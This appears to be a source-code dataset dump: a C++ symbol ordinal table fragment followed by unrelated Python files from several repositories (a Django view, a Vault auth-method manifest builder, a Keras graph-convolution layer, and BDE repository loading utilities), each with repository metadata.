b'?GetSizePixel@Icon@@QBE?AVSize@@XZ', 1772: b'??0Bitmap@@QAE@ABV0@@Z', 1773: b'??0Bitmap@@QAE@ABVResId@@@Z', 1774: b'??0Bitmap@@QAE@XZ', 1775: b'??1Bitmap@@QAE@XZ', 1776: b'??4Bitmap@@QAEAAV0@ABV0@@Z', 1777: b'??8Bitmap@@QBEEABV0@@Z', 1778: b'??9Bitmap@@QBEEABV0@@Z', 1779: b'?ChangePalette@Bitmap@@QAE?AVPalette@@ABV2@@Z', 1780: b'?GetColorCount@Bitmap@@QBEKXZ', 1781: b'?GetPalette@Bitmap@@QBE?AVPalette@@XZ', 1782: b'?GetSizeBytes@Bitmap@@QBEKXZ', 1783: b'?GetSizePixel@Bitmap@@QBE?AVSize@@XZ', 1784: b'?GetStockPalette@@YGPAUHPALETTE__@@H@Z', 1785: b'?lmemcpy@@YGXPAXPBXK@Z', 1786: b'??0GDIArray@@QAE@XZ', 1787: b'??0SaveStack@@QAE@GG@Z', 1788: b'??0SaveStruct@@QAE@XZ', 1789: b'??1GDIArray@@QAE@XZ', 1790: b'??1SaveStack@@QAE@XZ', 1791: b'??_GBrush@@QAEPAXI@Z', 1792: b'??_GPen@@QAEPAXI@Z', 1793: b'?ChangeSize@DynArray@@QAEKK@Z', 1794: b'?Count@SaveStack@@QBEKXZ', 1795: b'?EnumMetaProc@@YGHPAUHDC__@@PAUtagHANDLETABLE@@PAUtagMETARECORD@@HJ@Z', 1796: b'?GetSize@DynArray@@QBEKXZ', 1797: b'?Pop@SaveStack@@QAEPAUSaveStruct@@XZ', 1798: b'?Push@SaveStack@@QAEXPAUSaveStruct@@@Z', 1799: b'?IGetBmpData@@YG?AUBmpData@@ABVBitmap@@@Z', 1800: b'?ISetBmpData@@YGEPAUBmpPalette@@PAUBmpBits@@AAVBitmap@@@Z', 1801: b'?PlayMetaProc@@YGHPAUHDC__@@PAUtagHANDLETABLE@@PAUtagMETARECORD@@HJ@Z', 1802: b'??0MyDropTarget@@QAE@PAVWindow@@@Z', 1803: b'??0SVLookList@@QAE@GG@Z', 1804: b'??0TransferFormat@@QAE@K@Z', 1805: b'??0Window@@QAE@FPAV0@G@Z', 1806: b'??0Window@@QAE@PAV0@ABVResId@@@Z', 1807: b'??0Window@@QAE@PAV0@G@Z', 1808: b'??1MyDropTarget@@UAE@XZ', 1809: b'??1SVLookList@@QAE@XZ', 1810: b'??1Window@@UAE@XZ', 1811: b'??_7MyDropTarget@@6B@', 1812: b'??_7Window@@6B@', 1813: b'??_GDragServer@@QAEPAXI@Z', 1814: b'??_GMyDropTarget@@UAEPAXI@Z', 1815: b'??_GSVLookList@@QAEPAXI@Z', 1816: b'??_GWindow@@UAEPAXI@Z', 1817: b'?CaptureMouse@Window@@QAEXXZ', 1818: b'?ChangeCursor@Window@@QAEPAVCursor@@PAV2@@Z', 1819: b'?ChangeHelpId@Window@@QAEKK@Z', 1820: b'?ChangeOutputSizePixel@Window@@QAE?AVSize@@ABV2@@Z', 1821: b'?ChangeParent@Window@@QAEPAV1@PAV1@@Z', 1822: b'?ChangePointer@Window@@QAE?AVPointer@@ABV2@@Z', 1823: b'?ChangePosPixel@Window@@QAE?AVPoint@@ABV2@@Z', 1824: b'?ChangeSizePixel@Window@@QAE?AVSize@@ABV2@@Z', 1825: b'?ChangeUpdateMode@Window@@QAEEE@Z', 1826: b'?Disable@Window@@QAEXXZ', 1827: b'?DragEnter@MyDropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 1828: b'?DragLeave@MyDropTarget@@UAEXXZ', 1829: b'?DragOver@MyDropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 1830: b'?Drop@MyDropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 1831: b'?Drop@Window@@UAEEABVDropEvent@@@Z', 1832: b'?Enable@Window@@QAEXXZ', 1833: b'?EnableDrop@Window@@QAEXE@Z', 1834: b'?Flash@Window@@QAEXXZ', 1835: b'?GetClassCursor@@YGPAUHICON__@@PAUHWND__@@@Z', 1836: b'?GetCursor@Window@@QBEPAVCursor@@XZ', 1837: b'?GetFocus@Window@@UAEXXZ', 1838: b'?GetHelpId@Window@@QBEKXZ', 1839: b'?GetHelpText@Window@@QBE?AVString@@XZ', 1840: b'?GetOutputSizePixel@Window@@UBE?AVSize@@XZ', 1841: b'?GetParent@Window@@QBEPAV1@XZ', 1842: b'?GetPointer@Window@@QBE?AVPointer@@XZ', 1843: b'?GetPosPixel@Window@@QBE?AVPoint@@XZ', 1844: b'?GetSizePixel@Window@@QBE?AVSize@@XZ', 1845: b'?GetText@Window@@QBE?AVString@@XZ', 1846: b'?GetType@TransferFormat@@QBEKXZ', 1847: b'?GetUpdateMode@Window@@QBEEXZ', 1848: b'?GetWindow@DropTarget@@QBEPAVWindow@@XZ', 1849: b'?GrabFocus@Window@@QAEXXZ', 1850: b'?HasFocus@Window@@QBEEXZ', 1851: b'?Hide@Window@@QAEXXZ', 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b'?Remove@ControlList@@QAEPAVWindow@@PAV2@@Z', 1874: b'?Remove@SVLookList@@QAEPAVWindow@@PAV2@@Z', 1875: b'?RequestData@MyDropTarget@@AAEXPAVDragServer@@@Z', 1876: b'?RequestHelp@Window@@UAEXABVHelpEvent@@@Z', 1877: b'?Resize@Window@@UAEXXZ', 1878: b'?ScreenToOutputPixel@Window@@QBE?AVPoint@@ABV2@@Z', 1879: b'?Scroll@Window@@QAEXFF@Z', 1880: b'?Scroll@Window@@QAEXFFABVRectangle@@@Z', 1881: b'?SetHelpText@Window@@QAEXABVString@@@Z', 1882: b'?SetPosSize@Window@@QAEXABVPoint@@ABVSize@@@Z', 1883: b'?SetPosSizePixel@Window@@QAEXABVPoint@@ABVSize@@@Z', 1884: b'?SetText@Window@@QAEXABVString@@@Z', 1885: b'?Show@Window@@QAEXXZ', 1886: b'?ToTop@Window@@QAEXXZ', 1887: b'?Update@Window@@QAEXXZ', 1888: b'??0ControlList@@QAE@GG@Z', 1889: b'?GetCancelButtonText@International@@QBEABVString@@XZ', 1890: b'?GetCancelButtonText@LanguageTable@@QBEABVString@@XZ', 1891: b'?GetHelpButtonText@International@@QBEABVString@@XZ', 1892: b'?GetHelpButtonText@LanguageTable@@QBEABVString@@XZ', 1893: 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2292: b'?Paint@FixedIcon@@UAEXABVRectangle@@@Z', 2293: b'?Resize@FixedBitmap@@UAEXXZ', 2294: b'?Resize@FixedIcon@@UAEXXZ', 2295: b'??0GroupBox@@QAE@PAVWindow@@@Z', 2296: b'??0GroupBox@@QAE@PAVWindow@@ABVResId@@@Z', 2297: b'??1GroupBox@@UAE@XZ', 2298: b'??_7GroupBox@@6B@', 2299: b'??_GGroupBox@@UAEPAXI@Z', 2300: b'??0Range@@QAE@ABV0@@Z', 2301: b'??0Range@@QAE@FF@Z', 2302: b'??0Range@@QAE@XZ', 2303: b'??0ScrollBar@@QAE@PAVWindow@@ABVResId@@@Z', 2304: b'??0ScrollBar@@QAE@PAVWindow@@G@Z', 2305: b'??1ScrollBar@@UAE@XZ', 2306: b'??4Range@@QAEAAV0@ABV0@@Z', 2307: b'??_7ScrollBar@@6B@', 2308: b'??_GScrollBar@@UAEPAXI@Z', 2309: b'?ChangeLineSize@ScrollBar@@QAEFF@Z', 2310: b'?ChangePageSize@ScrollBar@@QAEFF@Z', 2311: b'?ChangeRange@ScrollBar@@QAE?AVRange@@ABV2@@Z', 2312: b'?ChangeThumbPos@ScrollBar@@QAEFF@Z', 2313: b'?ChangeVisibleSize@ScrollBar@@QAEGG@Z', 2314: b'?EndScroll@ScrollBar@@UAEXXZ', 2315: b'?GetDelta@ScrollBar@@QBEFXZ', 2316: b'?GetLineSize@ScrollBar@@QBEFXZ', 2317: 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2342: b'?GetFormatCount@Clipboard@@SGGXZ', 2343: b'?GetFormatName@Exchange@@SG?AVString@@K@Z', 2344: b'?GetRequestFormat@Clipboard@@SGKXZ', 2345: b'?HasFormat@Clipboard@@SGEK@Z', 2346: b'?PasteBitmap@Clipboard@@SG?AVBitmap@@XZ', 2347: b'?PasteData@Clipboard@@SGEPAXKK@Z', 2348: b'?PasteGDIMetaFile@Clipboard@@SGEAAVGDIMetaFile@@@Z', 2349: b'?PastePrivateData@Clipboard@@SGPAXXZ', 2350: b'?PasteString@Clipboard@@SG?AVString@@XZ', 2351: b'?RegisterFormatName@Exchange@@SGKABVString@@@Z', 2352: b'?Request@Exchange@@UAEXXZ', 2353: b'??0DataObject@@QAE@EE@Z', 2354: b'??0DropSource@@QAE@XZ', 2355: b'??0DropTarget@@QAE@PAVWindow@@@Z', 2356: b'??0StarObjectMgr@@QAE@XZ', 2357: b'??0TransferFormatList@@QAE@GG@Z', 2358: b'??1DataObject@@QAE@XZ', 2359: b'??1DropSource@@QAE@XZ', 2360: b'??1DropTarget@@UAE@XZ', 2361: b'??1StarObjectMgr@@QAE@XZ', 2362: b'??8TransferFormat@@QBEEABV0@@Z', 2363: b'??_7DataObject@@6B@', 2364: b'??_7DropSource@@6B@', 2365: b'??_7DropTarget@@6B@', 2366: b'??_GDropTarget@@UAEPAXI@Z', 2367: b'?AppendFormat@DataObject@@QAEXABVTransferFormat@@@Z', 2368: b'?Clear@DataObject@@UAEXXZ', 2369: b'?ClearFormatList@DataObject@@AAEXXZ', 2370: b'?Count@TransferFormatList@@QBEKXZ', 2371: b'?CreateData@DataObject@@UAEPAVTransferData@@ABVTransferFormat@@@Z', 2372: b'?DragEnter@DropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 2373: b'?DragLeave@DropTarget@@UAEXXZ', 2374: b'?DragOver@DropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 2375: b'?Drop@DropTarget@@UAEEW4DropAction@@ABVPoint@@@Z', 2376: b'?Execute@DropSource@@QAE?AW4DropAction@@EEE@Z', 2377: b'?FormatCount@DataObject@@QBEKXZ', 2378: b'?GetFormat@DataObject@@QBEPBVTransferFormat@@K@Z', 2379: b'?GetObject@TransferFormatList@@QBEPAVTransferFormat@@K@Z', 2380: b'?GiveFeedback@DropSource@@UAEEW4DropAction@@@Z', 2381: b'?HasFormat@DataObject@@QBEEABVTransferFormat@@@Z', 2382: b'?Insert@TransferFormatList@@QAEXPAVTransferFormat@@K@Z', 2383: b'?IsFormatList@DataObject@@QBEEXZ', 2384: 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b'?PasteFile@DragServer@@SG?AVString@@G@Z', 2429: b'?PasteGDIMetaFile@DragServer@@SGEGAAVGDIMetaFile@@@Z', 2430: b'?PastePrivateData@DragServer@@SGPAXG@Z', 2431: b'?PasteString@DragServer@@SG?AVString@@G@Z', 2432: b'?SetPointers@MySource@@QAEXPAVWindow@@ABVPointer@@11@Z', }

45.995866

83

0.651442

563582b15d77da5eb881db3a8f1e008b1e1bff8f

120

py

Python

pae/book_edit_bootstrap/django/test/testapp/views.py

wasit7/book_pae

c53cca3342593a2769f398db9bf969515d3de117

[ "MIT" ]

null

pae/book_edit_bootstrap/django/test/testapp/views.py

wasit7/book_pae

c53cca3342593a2769f398db9bf969515d3de117

[ "MIT" ]

null

pae/book_edit_bootstrap/django/test/testapp/views.py

wasit7/book_pae

c53cca3342593a2769f398db9bf969515d3de117

[ "MIT" ]

null

from django.shortcuts import render # Create your views here. def homep(request): return render(request, 'homep.html')

24

37

0.775

57edcceceada6f3fd64ff2a1d6a153815c8ff332

1,461

py

Python

vaultup/manifests/auth_method.py

momothereal/vaultup

cab1718f8835ce5d35b8352d32bf2a5528257e39

[ "Apache-2.0" ]

null

vaultup/manifests/auth_method.py

momothereal/vaultup

cab1718f8835ce5d35b8352d32bf2a5528257e39

[ "Apache-2.0" ]

4

2019-10-03T22:36:56.000Z

2019-10-09T16:12:26.000Z

vaultup/manifests/auth_method.py

momothereal/vaultup

cab1718f8835ce5d35b8352d32bf2a5528257e39

[ "Apache-2.0" ]

null

from typing import Dict, Optional import hvac from vaultup.manifests import ManifestItem class LdapAuthConfigManifest(ManifestItem): def __init__(self, client: hvac.Client, name: str, data: Dict): super().__init__(data) def convert(self) -> Optional[Dict]: return self.data AUTH_TYPES = { "ldap": LdapAuthConfigManifest } class AuthMethodManifest(ManifestItem): """ Manifest entry for an auth method. """ def __init__(self, client: hvac.Client, name: str, data: Dict): super().__init__(data) auth_type = data["type"] if auth_type in client.auth.implemented_class_names and auth_type in AUTH_TYPES: auth_conf = client.auth.__getattr__(auth_type).read_configuration(mount_point=name)["data"] self._auth_config = AUTH_TYPES[auth_type](client, name, auth_conf).convert() else: self._auth_config = None def convert(self) -> Optional[Dict]: config = self.data.get("config", {}) # add type-specific entries to config if self._auth_config: config[self.data["type"]] = self._auth_config return { "type": self.data["type"], "description": self.data.get("description"), "config": self.data.get("config"), "local": self.data.get("local"), "options": self.data.get("options"), "seal_wrap": self.data.get("seal_wrap"), }

28.647059

103

0.62423

1293e34cc58e9a42ae65bd5a9cb06b6214ddb407

15,963

py

Python

ktrain/graph/stellargraph/layer/gcn.py

happy-machine/ktrain

221e7ce91f8cfdc280fc733083e901fcedb9f7e5

[ "MIT" ]

null

ktrain/graph/stellargraph/layer/gcn.py

happy-machine/ktrain

221e7ce91f8cfdc280fc733083e901fcedb9f7e5

[ "MIT" ]

null

ktrain/graph/stellargraph/layer/gcn.py

happy-machine/ktrain

221e7ce91f8cfdc280fc733083e901fcedb9f7e5

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright 2018-2019 Data61, CSIRO # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from ....imports import * from ..mapper import FullBatchNodeGenerator from .misc import SqueezedSparseConversion class GraphConvolution(Layer): """ Graph Convolution (GCN) Keras layer. The implementation is based on the keras-gcn github repo https://github.com/tkipf/keras-gcn. Original paper: Semi-Supervised Classification with Graph Convolutional Networks. Thomas N. Kipf, Max Welling, International Conference on Learning Representations (ICLR), 2017 https://github.com/tkipf/gcn Notes: - The inputs are tensors with a batch dimension of 1: Keras requires this batch dimension, and for full-batch methods we only have a single "batch". - There are three inputs required, the node features, the output indices (the nodes that are to be selected in the final layer) and the normalized graph Laplacian matrix - This class assumes that the normalized Laplacian matrix is passed as input to the Keras methods. - The output indices are used when ``final_layer=True`` and the returned outputs are the final-layer features for the nodes indexed by output indices. - If ``final_layer=False`` all the node features are output in the same ordering as given by the adjacency matrix. Args: units (int): dimensionality of output feature vectors activation (str): nonlinear activation applied to layer's output to obtain output features use_bias (bool): toggles an optional bias final_layer (bool): If False the layer returns output for all nodes, if True it returns the subset specified by the indices passed to it. kernel_initializer (str): name of layer bias f the initializer for kernel parameters (weights) bias_initializer (str): name of the initializer for bias attn_kernel_initializer (str): name of the initializer for attention kernel kernel_regularizer (str): name of regularizer to be applied to layer kernel. Must be a Keras regularizer. bias_regularizer (str): name of regularizer to be applied to layer bias. Must be a Keras regularizer. activity_regularizer (str): not used in the current implementation kernel_constraint (str): constraint applied to layer's kernel bias_constraint (str): constraint applied to layer's bias """ def __init__( self, units, activation=None, use_bias=True, final_layer=False, kernel_initializer="glorot_uniform", bias_initializer="zeros", kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs, ): if "input_shape" not in kwargs and "input_dim" in kwargs: kwargs["input_shape"] = (kwargs.get("input_dim"),) super().__init__(**kwargs) self.units = units self.activation = activations.get(activation) self.use_bias = use_bias self.kernel_initializer = initializers.get(kernel_initializer) self.bias_initializer = initializers.get(bias_initializer) self.kernel_regularizer = regularizers.get(kernel_regularizer) self.bias_regularizer = regularizers.get(bias_regularizer) self.activity_regularizer = regularizers.get(activity_regularizer) self.kernel_constraint = constraints.get(kernel_constraint) self.bias_constraint = constraints.get(bias_constraint) self.final_layer = final_layer def get_config(self): """ Gets class configuration for Keras serialization. Used by keras model serialization. Returns: A dictionary that contains the config of the layer """ config = { "units": self.units, "use_bias": self.use_bias, "final_layer": self.final_layer, "activation": activations.serialize(self.activation), "kernel_initializer": initializers.serialize(self.kernel_initializer), "bias_initializer": initializers.serialize(self.bias_initializer), "kernel_regularizer": regularizers.serialize(self.kernel_regularizer), "bias_regularizer": regularizers.serialize(self.bias_regularizer), "activity_regularizer": regularizers.serialize(self.activity_regularizer), "kernel_constraint": constraints.serialize(self.kernel_constraint), "bias_constraint": constraints.serialize(self.bias_constraint), } base_config = super().get_config() return {**base_config, **config} def compute_output_shape(self, input_shapes): """ Computes the output shape of the layer. Assumes the following inputs: Args: input_shape (tuple of ints) Shape tuples can include None for free dimensions, instead of an integer. Returns: An input shape tuple. """ feature_shape, out_shape, *As_shapes = input_shapes batch_dim = feature_shape[0] if self.final_layer: out_dim = out_shape[1] else: out_dim = feature_shape[1] return (batch_dim, out_dim, self.units) def build(self, input_shapes): """ Builds the layer Args: input_shape (list of int): shapes of the layer's inputs (node features and adjacency matrix) """ feat_shape = input_shapes[0] input_dim = feat_shape[-1] self.kernel = self.add_weight( shape=(input_dim, self.units), initializer=self.kernel_initializer, name="kernel", regularizer=self.kernel_regularizer, constraint=self.kernel_constraint, ) if self.use_bias: self.bias = self.add_weight( shape=(self.units,), initializer=self.bias_initializer, name="bias", regularizer=self.bias_regularizer, constraint=self.bias_constraint, ) else: self.bias = None self.built = True def call(self, inputs): """ Applies the layer. Args: inputs (list): a list of 3 input tensors that includes node features (size 1 x N x F), output indices (size 1 x M) graph adjacency matrix (size N x N), where N is the number of nodes in the graph, and F is the dimensionality of node features. Returns: Keras Tensor that represents the output of the layer. """ features, out_indices, *As = inputs batch_dim, n_nodes, _ = K.int_shape(features) if batch_dim != 1: raise ValueError( "Currently full-batch methods only support a batch dimension of one" ) # Remove singleton batch dimension features = K.squeeze(features, 0) out_indices = K.squeeze(out_indices, 0) # Calculate the layer operation of GCN A = As[0] h_graph = K.dot(A, features) output = K.dot(h_graph, self.kernel) # Add optional bias & apply activation if self.bias: output += self.bias output = self.activation(output) # On the final layer we gather the nodes referenced by the indices if self.final_layer: output = K.gather(output, out_indices) # Add batch dimension back if we removed it # print("BATCH DIM:", batch_dim) if batch_dim == 1: output = K.expand_dims(output, 0) return output class GCN: """ A stack of Graph Convolutional layers that implement a graph convolution network model as in https://arxiv.org/abs/1609.02907 The model minimally requires specification of the layer sizes as a list of ints corresponding to the feature dimensions for each hidden layer, activation functions for each hidden layers, and a generator object. To use this class as a Keras model, the features and pre-processed adjacency matrix should be supplied using the :class:`FullBatchNodeGenerator` class. To have the appropriate pre-processing the generator object should be instantiated as follows:: generator = FullBatchNodeGenerator(G, method="gcn") Note that currently the GCN class is compatible with both sparse and dense adjacency matrices and the :class:`FullBatchNodeGenerator` will default to sparse. For more details, please see the GCN demo notebook: demos/node-classification/gat/gcn-cora-node-classification-example.ipynb Notes: - The inputs are tensors with a batch dimension of 1. These are provided by the \ :class:`FullBatchNodeGenerator` object. - This assumes that the normalized Lapalacian matrix is provided as input to Keras methods. When using the :class:`FullBatchNodeGenerator` specify the ``method='gcn'`` argument to do this pre-processing. - The nodes provided to the :class:`FullBatchNodeGenerator.flow` method are used by the final layer to select the predictions for those nodes in order. However, the intermediate layers before the final layer order the nodes in the same way as the adjacency matrix. Examples: Creating a GCN node classification model from an existing :class:`StellarGraph` object ``G``:: generator = FullBatchNodeGenerator(G, method="gcn") gcn = GCN( layer_sizes=[32, 4], activations=["elu","softmax"], generator=generator, dropout=0.5 ) x_inp, predictions = gcn.node_model() Args: layer_sizes (list of int): list of output sizes of GCN layers in the stack activations (list of str): list of activations applied to each layer's output generator (FullBatchNodeGenerator): an instance of FullBatchNodeGenerator class constructed on the graph of interest bias (bool): toggles an optional bias in GCN layers dropout (float): dropout rate applied to input features of each GCN layer kernel_regularizer (str): normalization applied to the kernels of GCN layers """ def __init__( self, layer_sizes, activations, generator, bias=True, dropout=0.0, kernel_regularizer=None, ): if not isinstance(generator, FullBatchNodeGenerator): raise TypeError("Generator should be a instance of FullBatchNodeGenerator") assert len(layer_sizes) == len(activations) self.layer_sizes = layer_sizes self.activations = activations self.bias = bias self.dropout = dropout self.kernel_regularizer = kernel_regularizer self.generator = generator self.support = 1 self.method = generator.method # Check if the generator is producing a sparse matrix self.use_sparse = generator.use_sparse # Initialize a stack of GCN layers n_layers = len(self.layer_sizes) self._layers = [] for ii in range(n_layers): l = self.layer_sizes[ii] a = self.activations[ii] self._layers.append(Dropout(self.dropout)) self._layers.append( GraphConvolution( l, activation=a, use_bias=self.bias, kernel_regularizer=self.kernel_regularizer, final_layer=ii == (n_layers - 1), ) ) def __call__(self, x): """ Apply a stack of GCN layers to the inputs. The input tensors are expected to be a list of the following: [ Node features shape (1, N, F), Adjacency indices (1, E, 2), Adjacency values (1, E), Output indices (1, O) ] where N is the number of nodes, F the number of input features, E is the number of edges, O the number of output nodes. Args: x (Tensor): input tensors Returns: Output tensor """ x_in, out_indices, *As = x # Currently we require the batch dimension to be one for full-batch methods batch_dim, n_nodes, _ = K.int_shape(x_in) if batch_dim != 1: raise ValueError( "Currently full-batch methods only support a batch dimension of one" ) # Convert input indices & values to a sparse matrix if self.use_sparse: A_indices, A_values = As Ainput = [ SqueezedSparseConversion(shape=(n_nodes, n_nodes))( [A_indices, A_values] ) ] # Otherwise, create dense matrix from input tensor else: Ainput = [Lambda(lambda A: K.squeeze(A, 0))(A) for A in As] # TODO: Support multiple matrices? if len(Ainput) != 1: raise NotImplementedError( "The GCN method currently only accepts a single matrix" ) h_layer = x_in for layer in self._layers: if isinstance(layer, GraphConvolution): # For a GCN layer add the matrix and output indices # Note that the output indices are only used if `final_layer=True` h_layer = layer([h_layer, out_indices] + Ainput) else: # For other (non-graph) layers only supply the input tensor h_layer = layer(h_layer) # print("Hlayer:", h_layer) return h_layer def node_model(self): """ Builds a GCN model for node prediction Returns: tuple: `(x_inp, x_out)`, where `x_inp` is a list of two Keras input tensors for the GCN model (containing node features and graph laplacian), and `x_out` is a Keras tensor for the GCN model output. """ # Placeholder for node features N_nodes = self.generator.features.shape[0] N_feat = self.generator.features.shape[1] # Inputs for features & target indices x_t = Input(batch_shape=(1, N_nodes, N_feat)) out_indices_t = Input(batch_shape=(1, None), dtype="int32") # Create inputs for sparse or dense matrices if self.use_sparse: # Placeholders for the sparse adjacency matrix A_indices_t = Input(batch_shape=(1, None, 2), dtype="int64") A_values_t = Input(batch_shape=(1, None)) A_placeholders = [A_indices_t, A_values_t] else: # Placeholders for the dense adjacency matrix A_m = Input(batch_shape=(1, N_nodes, N_nodes)) A_placeholders = [A_m] # TODO: Support multiple matrices x_inp = [x_t, out_indices_t] + A_placeholders x_out = self(x_inp) # Flatten output by removing singleton batch dimension if x_out.shape[0] == 1: self.x_out_flat = Lambda(lambda x: K.squeeze(x, 0))(x_out) else: self.x_out_flat = x_out return x_inp, x_out

37.56

153

0.628579

cddc2ce7e577c6022b47652dc49aa070f8a41897

12,539

py

Python

lib/python/bdebuild/meta/repoloadutil.py

apaprocki/bde-tools

74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434

[ "Apache-2.0" ]

null

lib/python/bdebuild/meta/repoloadutil.py

apaprocki/bde-tools

74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434

[ "Apache-2.0" ]

null

lib/python/bdebuild/meta/repoloadutil.py

apaprocki/bde-tools

74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434

[ "Apache-2.0" ]

null

"""Utilities to load parts of a repository. """ import glob import os import re from bdebuild.common import blderror from bdebuild.common import sysutil from bdebuild.meta import repounits from bdebuild.meta import optionsparser def load_package_group(path): """Load a package group. Args: path (str): Path to the root of the package group. Returns: PackageGroup """ package_group = repounits.PackageGroup(path) package_group.mem = set(_load_lsv( os.path.join(package_group.path, 'group', package_group.name + '.mem'))) package_group.dep = set(_load_lsv( os.path.join(package_group.path, 'group', package_group.name + '.dep'))) package_group.opts = _load_opts(os.path.join(package_group.path, 'group', package_group.name + '.opts')) package_group.defs = _load_opts(os.path.join(package_group.path, 'group', package_group.name + '.defs')) package_group.cap = _load_opts(os.path.join(package_group.path, 'group', package_group.name + '.cap')) return package_group def load_package(path, package_type): """Load a package. Args: path (str): Path to the root of the package. type_ (PackageType): The package type. Returns: A type derived from PackageBase """ package = repounits.Package(path, package_type) package.mem = set(_load_lsv( os.path.join(package.path, 'package', package.name + '.mem'))) package.dep = set(_load_lsv( os.path.join(package.path, 'package', package.name + '.dep'))) package.opts = _load_opts(os.path.join(package.path, 'package', package.name + '.opts')) package.defs = _load_opts(os.path.join(package.path, 'package', package.name + '.defs')) package.cap = _load_opts(os.path.join(package.path, 'package', package.name + '.cap')) dums_path = os.path.join(package.path, 'package', package.name + '.dums') package.has_dums = os.path.isfile(dums_path) # We need to distinguish between the case when the pub file does not exist # and the case when the pub file exist but is empty. If the pub file does # not exist, then every header file should be exported; if the pub file # does exist but is empty, then no header file should be exported. pub_path = os.path.join(package.path, 'package', package.name + '.pub') if os.path.isfile(pub_path): package.pub = set(_load_lsv(pub_path)) else: package.pub = None if package.type_ == repounits.PackageType.PACKAGE_PLUS: package.pt_extras = _load_plus_package_extras(package) else: if package.type_ == repounits.PackageType.PACKAGE_APPLICATION: main_ext = '.m.cpp' valid_prefixes = [package.name] if package.name.startswith('m_'): valid_prefixes.append(package.name[2:]) for prefix in valid_prefixes: main_path = os.path.join(package.path, prefix + main_ext) if os.path.isfile(main_path): package.app_main = prefix break if not package.app_main: raise blderror.MissingFileError( 'Missing source file "%s" for ' 'application package "%s"' % (os.path.join(package.path, package.name + main_ext), package.name)) for component_name in sorted(package.mem): component = load_component(component_name, package.path) package.components.append(component) return package def _load_plus_package_extras(package): """Load metadata of a "+" package. Args: package (Package): The plus package. Returns: PlusPackageExtras """ def rps(l): return set([os.path.relpath(path, package.path) for path in l]) extras = repounits.PlusPackageExtras() if package.pub is None: # pub file does not exist headers = glob.glob(os.path.join(package.path, '*.h')) headers.extend(glob.glob(os.path.join(package.path, '*.SUNWCCh'))) headers.extend(glob.glob(os.path.join(package.path, '*/*.h'))) headers.extend(glob.glob(os.path.join(package.path, '*/*.SUNWCCh'))) elif len(package.pub) > 0: extras.headers = package.pub else: # pub file is empty extras.headers = [] extras.cpp_sources = rps(glob.glob(os.path.join(package.path, '*.cpp'))) extras.cpp_tests = rps(glob.glob(os.path.join(package.path, 'test', '*.cpp'))) extras.c_tests = rps(glob.glob(os.path.join(package.path, 'test', '*.c'))) return extras def load_component(name, package_path): """Load a component. Args: name (str): The name of the component. package_path (str): The path to the package containing the component. Returns: None """ component = repounits.Component(name) base_path = os.path.join(package_path, component.name) header_path = base_path + '.h' cxx_path = base_path + '.cpp' c_path = base_path + '.c' if not os.path.isfile(header_path): raise blderror.MissingFileError( 'Missing header file "%s"' % header_path) if os.path.isfile(cxx_path): component.type_ = repounits.ComponentType.CXX test_path = base_path + '.t.cpp' elif os.path.isfile(c_path): component.type_ = repounits.ComponentType.C test_path = base_path + '.t.c' else: raise blderror.MissingFileError( 'Missing source (cpp) file for header file "%s"' % header_path) component.has_test_driver = os.path.isfile(test_path) return component def is_package_group_path(path): """Determine whether a path is the root of a package group. """ group_name = os.path.basename(path) return os.path.isfile(os.path.join(path, 'group', group_name + '.mem')) def is_package_path(path): """Determine whether a path is the root of a package. """ package_name = os.path.basename(path) return os.path.isfile(os.path.join(path, 'package', package_name + '.mem')) def is_third_party_path(path): """Determine whether a path is the root of a third party directory. """ return os.path.isfile(os.path.join(path, 'wscript')) def is_bde_repo_path(path): """Determine whether a path is the root of a BDE-style repo. """ basename = os.path.basename(path) return not basename.startswith('_') and basename not in ('build') def _load_opts(path): """Load option rules from a file. """ if os.path.isfile(path): return optionsparser.parse_option_rules_file(path) else: return [] REMOVE_COMMENT_RE = re.compile(r'^([^#]*)(#.*)?$') def _load_lsv(path): """Load values from line separated file. Return a list containing the contents of the line separated file from the specified path. If the path does not exist, return an empty list. """ try: with open(path) as f: lines = f.readlines() except IOError: return [] entries = [] for line in lines: line = line.rstrip('\n') # Lines after "#LEGACY" are ignored and used for compatibility with # other internal legacy tools. if line == '#LEGACY': break entries.extend(REMOVE_COMMENT_RE.match(line).group(1).split()) return entries def get_uor_doc(uor): """Parse the mnemonic and description of a UOR from its doc file. Args: uor (Package or PackageGroup): The unit of release. Returns: UorDoc """ name = uor.name doc_path = os.path.join(uor.path, 'doc', name + '.txt') try: with open(doc_path) as f: purpose = None mnemonic = None for line in f: if line.startswith('@PURPOSE'): purpose = line.split(':')[1].strip() elif line.startswith('@MNEMONIC'): mnemonic = line.split(':')[1].strip() if purpose and mnemonic: return repounits.UorDoc(mnemonic, purpose) except: pass return repounits.UorDoc(name, 'N/A') UOR_VERSIONS_CACHE = {} def get_uor_version(uor, uors_map): """Try to get the version number of a UOR. Args: uor (Package or PackageGroup): The unit of release. uors_map (dict of str to uor): Map of name to uors in the repo. Returns: UorVersion """ def _is_valid(version): return (sysutil.is_int_string(version.major) and sysutil.is_int_string(version.minor) and sysutil.is_int_string(version.patch)) global UOR_VERSIONS_CACHE if uor.name in UOR_VERSIONS_CACHE: return UOR_VERSIONS_CACHE[uor.name] try: version = _get_uor_version_impl(uor) if _is_valid(version): UOR_VERSIONS_CACHE[uor.name] = version return version except: UOR_VERSIONS_CACHE[uor.name] = None return None ref_name = version.major.split('_')[0].lower() if uor.name != ref_name: if ref_name not in UOR_VERSIONS_CACHE: ref_version = _get_uor_version_impl(uors_map[ref_name]) ref_version = ref_version if _is_valid(ref_version) else None UOR_VERSIONS_CACHE[ref_name] = ref_version version = UOR_VERSIONS_CACHE[ref_name] else: version = None 